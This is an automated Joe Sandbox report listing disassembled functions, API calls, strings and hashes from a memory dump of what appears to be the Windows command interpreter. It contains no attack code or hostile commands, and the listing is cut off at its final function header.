Associated: 00000005.00000002.2059334343.00007FF718D99000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff718d40000_alpha.jbxd

Similarity

API ID: _wcsicmpmemset$Volume$DriveInformationNamePathType
String ID: CSVFS$NTFS$REFS
API String ID: 3510147486-2605508654
Opcode ID: 25656f9dd7156011cddd26e1f63935c756ad3329fe6ff4f37f6319205113c483
Instruction ID: 607ecee09e86f02c098fffcc034f065a538f20ee09a808beb2fd93aa1744daf3
Opcode Fuzzy Hash: 25656f9dd7156011cddd26e1f63935c756ad3329fe6ff4f37f6319205113c483
Instruction Fuzzy Hash: 55615932608F868AEB65AF21E8443E9F7A5FB49B98F844235CA4D4B758DF38D10CC714

Function 00007FF718D472B0 Relevance: 21.3, APIs: 1, Strings: 11, Instructions: 283COMMON

Download Yara Rule

APIs

longjmp.MSVCRT(?,00000000,00000000,00007FF718D47279,?,?,?,?,?,00007FF718D4BFA9), ref: 00007FF718D64485

Strings

LEQ , xrefs: 00007FF718D647A7
NEQ , xrefs: 00007FF718D6478B
REM /?, xrefs: 00007FF718D64678
LSS , xrefs: 00007FF718D64799
EQU , xrefs: 00007FF718D6477D
== , xrefs: 00007FF718D64765
FOR /?, xrefs: 00007FF718D64654
GEQ , xrefs: 00007FF718D647C1
GTR , xrefs: 00007FF718D647B5
FOR, xrefs: 00007FF718D64535
IF /?, xrefs: 00007FF718D64664

Memory Dump Source

Source File: 00000005.00000002.2059195351.00007FF718D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF718D40000, based on PE: true

Associated: 00000005.00000002.2059144065.00007FF718D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059253636.00007FF718D72000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D7D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D8F000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059334343.00007FF718D99000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff718d40000_alpha.jbxd

Similarity

API ID: longjmp
String ID: == $EQU $FOR$FOR /?$GEQ $GTR $IF /?$LEQ $LSS $NEQ $REM /?
API String ID: 1832741078-366822981
Opcode ID: 33da1405c176275929384e71d7b709e1d480dac8859b2aca32cf24daa89c1558
Instruction ID: bc6e28422725a81fd9a7074aaaff528feaf21dac33ad8da8994c378d6af34eeb
Opcode Fuzzy Hash: 33da1405c176275929384e71d7b709e1d480dac8859b2aca32cf24daa89c1558
Instruction Fuzzy Hash: 6CC17C20F0CF4E85E724FA1651845BCE7A3AB4EBB4FE54036D98D53A91CF2CA44D8369

Function 00007FF718D4B998 Relevance: 21.3, APIs: 8, Strings: 4, Instructions: 275COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF718D4CD90: GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,?,00007FF718D4B9A1,?,?,?,?,00007FF718D4D81A), ref: 00007FF718D4CDA6
Part of subcall function 00007FF718D4CD90: HeapAlloc.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,?,00007FF718D4B9A1,?,?,?,?,00007FF718D4D81A), ref: 00007FF718D4CDBD

memset.MSVCRT ref: 00007FF718D4BA2B
wcschr.MSVCRT ref: 00007FF718D4BA8A
wcschr.MSVCRT ref: 00007FF718D4BAAA

Strings

-, xrefs: 00007FF718D5C3EA
=,;+/[] ", xrefs: 00007FF718D4BA83
=,;, xrefs: 00007FF718D4BC9C
:.\, xrefs: 00007FF718D4BAA3

Memory Dump Source

Source File: 00000005.00000002.2059195351.00007FF718D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF718D40000, based on PE: true

Associated: 00000005.00000002.2059144065.00007FF718D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059253636.00007FF718D72000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D7D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D8F000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059334343.00007FF718D99000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff718d40000_alpha.jbxd

Similarity

API ID: Heapwcschr$AllocProcessmemset
String ID: -$:.\$=,;$=,;+/[] "
API String ID: 2872855111-969133440
Opcode ID: e048727378a3460f555082e81c55544313692faeaf2a868744a414ec58a8adda
Instruction ID: d835583ea9d37ce22172e5bd9dd944262f36099ec3a71817a17c57039e2e1424
Opcode Fuzzy Hash: e048727378a3460f555082e81c55544313692faeaf2a868744a414ec58a8adda
Instruction Fuzzy Hash: 66B18231A08F4A81EB60AB55908427DE6A0FF5C7A4FD94275CADE43B94DF7CE44D8328

Function 00007FF718D703AC Relevance: 19.5, APIs: 9, Strings: 2, Instructions: 219COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00007FF718D70411
memset.MSVCRT ref: 00007FF718D70436
memset.MSVCRT ref: 00007FF718D70459

Part of subcall function 00007FF718D4CA40: memset.MSVCRT ref: 00007FF718D4CAB3

GetVolumeInformationW.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF718D70590
GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0 ref: 00007FF718D705A0
GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0 ref: 00007FF718D705BB
??_V@YAXPEAX@Z.MSVCRT ref: 00007FF718D706F3
??_V@YAXPEAX@Z.MSVCRT ref: 00007FF718D70712
??_V@YAXPEAX@Z.MSVCRT ref: 00007FF718D70731

Strings

~, xrefs: 00007FF718D7046D
%04X-%04X, xrefs: 00007FF718D70698

Memory Dump Source

Source File: 00000005.00000002.2059195351.00007FF718D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF718D40000, based on PE: true

Associated: 00000005.00000002.2059144065.00007FF718D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059253636.00007FF718D72000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D7D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D8F000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059334343.00007FF718D99000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff718d40000_alpha.jbxd

Similarity

API ID: memset$ErrorLast$InformationVolume
String ID: %04X-%04X$~
API String ID: 2748242238-2468825380
Opcode ID: 527acd2d5873e217b6583c2a0f855b60256f074d3be57f79744cf5756af0c24e
Instruction ID: 62366b6070cda8ac0365ff460f1020668ab09dd1e282c47f873b9045856bce3c
Opcode Fuzzy Hash: 527acd2d5873e217b6583c2a0f855b60256f074d3be57f79744cf5756af0c24e
Instruction Fuzzy Hash: 59A19462708FC58AEB25EF2198502E9F7A1FB49798F804135DA8D4BB89DF3CD60D8714

Function 00007FF718D5662C Relevance: 19.4, APIs: 9, Strings: 2, Instructions: 170COMMON

Download Yara Rule

APIs

wcschr.MSVCRT(?,?,?,?,?,?,?,00007FF718D56570,?,?,?,?,?,?,00000000,00007FF718D56488), ref: 00007FF718D56677
iswdigit.MSVCRT(?,?,?,?,?,?,?,00007FF718D56570,?,?,?,?,?,?,00000000,00007FF718D56488), ref: 00007FF718D5668F
_errno.MSVCRT ref: 00007FF718D566A3
wcstol.MSVCRT ref: 00007FF718D566C4
iswdigit.MSVCRT(?,?,?,?,?,?,?,00007FF718D56570,?,?,?,?,?,?,00000000,00007FF718D56488), ref: 00007FF718D566E4
iswalpha.MSVCRT(?,?,?,?,?,?,?,00007FF718D56570,?,?,?,?,?,?,00000000,00007FF718D56488), ref: 00007FF718D566FE

Strings

APerformUnaryOperation: '%c', xrefs: 00007FF718D5F78E
+-~!, xrefs: 00007FF718D56670

Memory Dump Source

Source File: 00000005.00000002.2059195351.00007FF718D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF718D40000, based on PE: true

Associated: 00000005.00000002.2059144065.00007FF718D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059253636.00007FF718D72000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D7D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D8F000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059334343.00007FF718D99000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff718d40000_alpha.jbxd

Similarity

API ID: iswdigit$_errnoiswalphawcschrwcstol
String ID: +-~!$APerformUnaryOperation: '%c'
API String ID: 2348642995-441775793
Opcode ID: 3043d5b8b3736d8e68c05dd1a897401147fff5d71c47df5c8b899d9aaf2ce369
Instruction ID: 6ddf37b870860cd7baf63c10ee17502b0ddabca1cc06ac3c100ad79bf9ca1a3f
Opcode Fuzzy Hash: 3043d5b8b3736d8e68c05dd1a897401147fff5d71c47df5c8b899d9aaf2ce369
Instruction Fuzzy Hash: 39714E62908F4A85E7606F25F450179F7B0EB5DFA4FD48232DA8E06694EF3CA48CC725

Function 00007FF718D49400 Relevance: 19.4, APIs: 9, Strings: 2, Instructions: 161COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00007FF718D49462
memset.MSVCRT ref: 00007FF718D49485
memset.MSVCRT ref: 00007FF718D494AA

Part of subcall function 00007FF718D4CA40: memset.MSVCRT ref: 00007FF718D4CAB3

??_V@YAXPEAX@Z.MSVCRT ref: 00007FF718D5B6A9

Part of subcall function 00007FF718D55EE4: memset.MSVCRT ref: 00007FF718D55F5D
Part of subcall function 00007FF718D55EE4: towupper.MSVCRT ref: 00007FF718D55FFE
Part of subcall function 00007FF718D55EE4: ??_V@YAXPEAX@Z.MSVCRT ref: 00007FF718D56029

GetVolumeInformationW.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF718D495D3
_wcsicmp.MSVCRT ref: 00007FF718D49603
??_V@YAXPEAX@Z.MSVCRT ref: 00007FF718D4963D
??_V@YAXPEAX@Z.MSVCRT ref: 00007FF718D4965C
GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0 ref: 00007FF718D5B67A

Strings

FAT, xrefs: 00007FF718D495F8
~, xrefs: 00007FF718D494BE

Memory Dump Source

Source File: 00000005.00000002.2059195351.00007FF718D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF718D40000, based on PE: true

Associated: 00000005.00000002.2059144065.00007FF718D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059253636.00007FF718D72000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D7D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D8F000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059334343.00007FF718D99000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff718d40000_alpha.jbxd

Similarity

API ID: memset$ErrorInformationLastVolume_wcsicmptowupper
String ID: FAT$~
API String ID: 2238823677-1832570214
Opcode ID: 9870e3df3003cca21a2b5bb6f1f08ea82d43fbeeb1162d01b560e5e2cc2d055c
Instruction ID: ca18c43669ad99307799dbede8038b86404c783e663087b0797cb6754369eaca
Opcode Fuzzy Hash: 9870e3df3003cca21a2b5bb6f1f08ea82d43fbeeb1162d01b560e5e2cc2d055c
Instruction Fuzzy Hash: B7719F32608FC589EB21EF2198512EAF7A0FB49798F844135DA8D4BB58DF38D24DC714

Function 00007FF718D4D840 Relevance: 18.4, APIs: 12, Instructions: 444memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,?,?,?,?,?,?,?,00000010,?,00000000,0000000E,00000025,?,00007FF718D4FE2A), ref: 00007FF718D4D884
HeapAlloc.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,?,?,?,?,?,?,?,00000010,?,00000000,0000000E,00000025,?,00007FF718D4FE2A), ref: 00007FF718D4D89D
GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,?,?,?,?,?,?,?,00000010,?,00000000,0000000E,00000025,?,00007FF718D4FE2A), ref: 00007FF718D4D94D
HeapAlloc.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,?,?,?,?,?,?,?,00000010,?,00000000,0000000E,00000025,?,00007FF718D4FE2A), ref: 00007FF718D4D964
_wcsnicmp.MSVCRT ref: 00007FF718D4DB89
wcstol.MSVCRT ref: 00007FF718D4DBDF
wcstol.MSVCRT ref: 00007FF718D4DC63
memmove.MSVCRT ref: 00007FF718D4DD33
memmove.MSVCRT ref: 00007FF718D4DE9A
longjmp.MSVCRT(?,?,?,?,?,?,?,?,?,00000010,?,00000000,0000000E,00000025,?,00007FF718D4FE2A), ref: 00007FF718D4DF1F

Memory Dump Source

Source File: 00000005.00000002.2059195351.00007FF718D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF718D40000, based on PE: true

Associated: 00000005.00000002.2059144065.00007FF718D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059253636.00007FF718D72000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D7D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D8F000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059334343.00007FF718D99000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff718d40000_alpha.jbxd

Similarity

API ID: Heap$AllocProcessmemmovewcstol$_wcsnicmplongjmp
String ID:
API String ID: 1051989028-0
Opcode ID: 3eb282f1936630003c50c214bbc81d4f8471c73227843184e7e06612691cab38
Instruction ID: da0408748e0cb124a4b1ffb8f6240253579d39465e22cc6f07cb20335c9ccaa0
Opcode Fuzzy Hash: 3eb282f1936630003c50c214bbc81d4f8471c73227843184e7e06612691cab38
Instruction Fuzzy Hash: 3B028232A08F4981EB24AF15E40027AF6A1FB5DBA4F984275DACD43B94DF7DD04D8728

Function 00007FF718D486B0 Relevance: 18.1, APIs: 8, Strings: 4, Instructions: 138memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0 ref: 00007FF718D48711
HeapAlloc.API-MS-WIN-CORE-HEAP-L1-1-0 ref: 00007FF718D48729
GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0 ref: 00007FF718D48748
HeapAlloc.API-MS-WIN-CORE-HEAP-L1-1-0 ref: 00007FF718D4875F
_wcsicmp.MSVCRT ref: 00007FF718D48805
_wcsicmp.MSVCRT ref: 00007FF718D4881F
_wcsicmp.MSVCRT ref: 00007FF718D48839

Strings

ENABLEDELAYEDEXPANSION, xrefs: 00007FF718D4882F
ENABLEEXTENSIONS, xrefs: 00007FF718D487FB
DISABLEEXTENSIONS, xrefs: 00007FF718D48815
DISABLEDELAYEDEXPANSION, xrefs: 00007FF718D5B366

Memory Dump Source

Source File: 00000005.00000002.2059195351.00007FF718D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF718D40000, based on PE: true

Associated: 00000005.00000002.2059144065.00007FF718D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059253636.00007FF718D72000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D7D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D8F000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059334343.00007FF718D99000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff718d40000_alpha.jbxd

Similarity

API ID: Heap$_wcsicmp$AllocProcess
String ID: DISABLEDELAYEDEXPANSION$DISABLEEXTENSIONS$ENABLEDELAYEDEXPANSION$ENABLEEXTENSIONS
API String ID: 3223794493-3086019870
Opcode ID: d222a0f06bbbc582554831b5995f9d518337be47592992ae4180831db5f06540
Instruction ID: 8a16cf73e8b84ef4f4f50ec84ef19c1d8250074c3dec8f81551d67a78790c37b
Opcode Fuzzy Hash: d222a0f06bbbc582554831b5995f9d518337be47592992ae4180831db5f06540
Instruction Fuzzy Hash: 0D516D35A08F4A8AEB04AB15A411179EBB0FB5DBB4FD84175C99E027A4DF3CE04DC728

Function 00007FF718D52B94 Relevance: 18.1, APIs: 6, Strings: 6, Instructions: 110COMMON

Download Yara Rule

Strings

LEQ, xrefs: 00007FF718D52CB6
NEQ, xrefs: 00007FF718D52C82
GEQ, xrefs: 00007FF718D52D38
GTR, xrefs: 00007FF718D52CD0
EQU, xrefs: 00007FF718D52C6B
LSS, xrefs: 00007FF718D52C9C

Memory Dump Source

Source File: 00000005.00000002.2059195351.00007FF718D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF718D40000, based on PE: true

Associated: 00000005.00000002.2059144065.00007FF718D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059253636.00007FF718D72000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D7D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D8F000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059334343.00007FF718D99000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff718d40000_alpha.jbxd

Similarity

API ID:
String ID: EQU$GEQ$GTR$LEQ$LSS$NEQ
API String ID: 0-3124875276
Opcode ID: 27546f26981fd3a6242742626cf9575fc19742bdde1af1eb23768a0abe577f48
Instruction ID: 8968e41c02fea122bd66b866cd6bd472781b9dd1e8c3e614d40003c02c0092b5
Opcode Fuzzy Hash: 27546f26981fd3a6242742626cf9575fc19742bdde1af1eb23768a0abe577f48
Instruction Fuzzy Hash: 6B516320A0CF4B81F7147F21E450278E7B1AF4DB69FC04136D68D462A5EF7CA04D8369

Function 00007FF718D4FC30 Relevance: 17.8, APIs: 9, Strings: 1, Instructions: 311memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0 ref: 00007FF718D4FC38
HeapAlloc.API-MS-WIN-CORE-HEAP-L1-1-0 ref: 00007FF718D4FC52
MultiByteToWideChar.API-MS-WIN-CORE-STRING-L1-1-0 ref: 00007FF718D50181
memset.MSVCRT ref: 00007FF718D5D580
longjmp.MSVCRT ref: 00007FF718D5D59F
memmove.MSVCRT ref: 00007FF718D5D5C4
longjmp.MSVCRT ref: 00007FF718D5D5FC
longjmp.MSVCRT ref: 00007FF718D5D62B
longjmp.MSVCRT ref: 00007FF718D5D660

Strings

0123456789, xrefs: 00007FF718D4FDEE

Memory Dump Source

Source File: 00000005.00000002.2059195351.00007FF718D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF718D40000, based on PE: true

Associated: 00000005.00000002.2059144065.00007FF718D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059253636.00007FF718D72000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D7D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D8F000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059334343.00007FF718D99000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff718d40000_alpha.jbxd

Similarity

API ID: longjmp$Heap$AllocByteCharMultiProcessWidememmovememset
String ID: 0123456789
API String ID: 1606811317-2793719750
Opcode ID: 8103515748828c6243a0f650469ddac0473b2fcaea6880b388f8c0650ade34ac
Instruction ID: a70b9270106f80ed3731852e4a003216e7a3ae6e2577571361f2edc1e6efcdfd
Opcode Fuzzy Hash: 8103515748828c6243a0f650469ddac0473b2fcaea6880b388f8c0650ade34ac
Instruction Fuzzy Hash: DED16F31A09F4A81EB10AB15A445279E6B0FF497A4FC84272DADD477A5DF3CE40DC728

Function 00007FF718D56FB4 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 148COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00007FF718D57013

Part of subcall function 00007FF718D4CA40: memset.MSVCRT ref: 00007FF718D4CAB3

??_V@YAXPEAX@Z.MSVCRT ref: 00007FF718D57123

Part of subcall function 00007FF718D51EA0: wcschr.MSVCRT(?,?,?,00007FF718D4286E,00000000,00000000,00000000,00000000,00000000,0000000A,?,00007FF718D70D54), ref: 00007FF718D51EB3

GetFullPathNameW.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF718D5706E
wcsncmp.MSVCRT ref: 00007FF718D570A5
wcsstr.MSVCRT ref: 00007FF718D5F9DB
GetFileAttributesW.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF718D5FA00
GetFileAttributesW.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF718D5FA5F

Part of subcall function 00007FF718D5823C: FindFirstFileExW.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF718D58280
Part of subcall function 00007FF718D5823C: GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0 ref: 00007FF718D5829D

Part of subcall function 00007FF718D53A0C: FindClose.API-MS-WIN-CORE-FILE-L1-1-0(?,?,?,00007FF718D6EAC5,?,?,?,00007FF718D6E925,?,?,?,?,00007FF718D4B9B1), ref: 00007FF718D53A56

GetDriveTypeW.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF718D5FA3D

Strings

\\.\, xrefs: 00007FF718D57097

Memory Dump Source

Source File: 00000005.00000002.2059195351.00007FF718D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF718D40000, based on PE: true

Associated: 00000005.00000002.2059144065.00007FF718D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059253636.00007FF718D72000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D7D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D8F000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059334343.00007FF718D99000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff718d40000_alpha.jbxd

Similarity

API ID: File$AttributesFindmemset$CloseDriveErrorFirstFullLastNamePathTypewcschrwcsncmpwcsstr
String ID: \\.\
API String ID: 799470305-2900601889
Opcode ID: 54d19c3779d548040f92f3520906801ddb16aa6d7fde4edd6d52b252c225e034
Instruction ID: 041ea6e1ad63cdc29dc9cdc4467b97599f121f8c099c10d529d3850289a194ce
Opcode Fuzzy Hash: 54d19c3779d548040f92f3520906801ddb16aa6d7fde4edd6d52b252c225e034
Instruction Fuzzy Hash: 6751A731A08F8685EB60AF21D4006B9E7B0FB8DB64F955636DA8D0B794DF3CD54D8324

Function 00007FF718D48B20 Relevance: 16.8, APIs: 11, Instructions: 254COMMON

Download Yara Rule

APIs

wcsrchr.MSVCRT ref: 00007FF718D48BAB
_wcsicmp.MSVCRT ref: 00007FF718D48BD4
_wcsicmp.MSVCRT ref: 00007FF718D48BF2
GetFileAttributesW.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF718D48C16
GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0 ref: 00007FF718D48C2F
wcschr.MSVCRT ref: 00007FF718D48CB3
wcschr.MSVCRT ref: 00007FF718D48CD7

Memory Dump Source

Source File: 00000005.00000002.2059195351.00007FF718D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF718D40000, based on PE: true

Associated: 00000005.00000002.2059144065.00007FF718D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059253636.00007FF718D72000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D7D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D8F000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059334343.00007FF718D99000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff718d40000_alpha.jbxd

Similarity

API ID: _wcsicmpwcschr$AttributesErrorFileLastwcsrchr
String ID:
API String ID: 1944892715-0
Opcode ID: b04fd89d1b32d74b41568e07ffd85bc9ccdf1354646f06c8d836b15a263e4c9a
Instruction ID: 2b0c926f097da8523777e60122bdfdf38e60b27669c35ed50f41ba0c53c98e29
Opcode Fuzzy Hash: b04fd89d1b32d74b41568e07ffd85bc9ccdf1354646f06c8d836b15a263e4c9a
Instruction Fuzzy Hash: F4B16031A09F4A8AEB64BF11A451179E6A0AF5DBA4FC84135CACE47790DF3CE44CC728

Function 00007FF718D45458 Relevance: 16.7, APIs: 11, Instructions: 213fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF718D53578: _get_osfhandle.MSVCRT ref: 00007FF718D53584
Part of subcall function 00007FF718D53578: GetFileType.API-MS-WIN-CORE-FILE-L1-1-0(?,?,00000014,00007FF718D432E8,?,?,?,?,?,?,?,?,?,?,00000000,00000014), ref: 00007FF718D5359C
Part of subcall function 00007FF718D53578: GetStdHandle.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0(?,?,00000014,00007FF718D432E8,?,?,?,?,?,?,?,?,?,?,00000000,00000014), ref: 00007FF718D535C3
Part of subcall function 00007FF718D53578: AcquireSRWLockShared.API-MS-WIN-CORE-SYNCH-L1-1-0(?,?,00000014,00007FF718D432E8,?,?,?,?,?,?,?,?,?,?,00000000,00000014), ref: 00007FF718D535D9
Part of subcall function 00007FF718D53578: GetConsoleMode.API-MS-WIN-CORE-CONSOLE-L1-1-0(?,?,00000014,00007FF718D432E8,?,?,?,?,?,?,?,?,?,?,00000000,00000014), ref: 00007FF718D535ED
Part of subcall function 00007FF718D53578: ReleaseSRWLockShared.API-MS-WIN-CORE-SYNCH-L1-1-0(?,?,00000014,00007FF718D432E8,?,?,?,?,?,?,?,?,?,?,00000000,00000014), ref: 00007FF718D53602

_get_osfhandle.MSVCRT ref: 00007FF718D454DE
WideCharToMultiByte.API-MS-WIN-CORE-STRING-L1-1-0(?,?,00007FF718D41F7D), ref: 00007FF718D4552B
WriteFile.API-MS-WIN-CORE-FILE-L1-1-0(?,?,00007FF718D41F7D), ref: 00007FF718D4554F
_get_osfhandle.MSVCRT ref: 00007FF718D6345F
WriteConsoleW.API-MS-WIN-CORE-CONSOLE-L1-1-0(?,?,00007FF718D41F7D), ref: 00007FF718D6347E
SetConsoleMode.API-MS-WIN-CORE-CONSOLE-L1-1-0(?,?,00007FF718D41F7D), ref: 00007FF718D634C3
_get_osfhandle.MSVCRT ref: 00007FF718D634DB
WriteConsoleW.API-MS-WIN-CORE-CONSOLE-L1-1-0(?,?,00007FF718D41F7D), ref: 00007FF718D634FA

Part of subcall function 00007FF718D536EC: _get_osfhandle.MSVCRT ref: 00007FF718D53715
Part of subcall function 00007FF718D536EC: WideCharToMultiByte.API-MS-WIN-CORE-STRING-L1-1-0 ref: 00007FF718D53770
Part of subcall function 00007FF718D536EC: WriteFile.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF718D53791

Part of subcall function 00007FF718D4566C: wcschr.MSVCRT ref: 00007FF718D45690

Memory Dump Source

Source File: 00000005.00000002.2059195351.00007FF718D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF718D40000, based on PE: true

Associated: 00000005.00000002.2059144065.00007FF718D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059253636.00007FF718D72000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D7D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D8F000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059334343.00007FF718D99000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff718d40000_alpha.jbxd

Similarity

API ID: _get_osfhandle$ConsoleWrite$File$ByteCharLockModeMultiSharedWide$AcquireHandleReleaseTypewcschr
String ID:
API String ID: 1356649289-0
Opcode ID: 8cb344cfa4787b055339b8a9ee12bbc5c0a371722c2d9f6503a0875dc2cc5f96
Instruction ID: ef1f6759a07f0ca2fb31d7a0e60a34f2676fa420df39c694d90554dd7eadbcb5
Opcode Fuzzy Hash: 8cb344cfa4787b055339b8a9ee12bbc5c0a371722c2d9f6503a0875dc2cc5f96
Instruction Fuzzy Hash: CE915131A08F4A87EB18AF15A401179F6A1FB8DBA4FD84135DA8E47B54DF3CE44C8B18

Function 00007FF718D6BFEC Relevance: 16.2, APIs: 3, Strings: 6, Instructions: 444COMMON

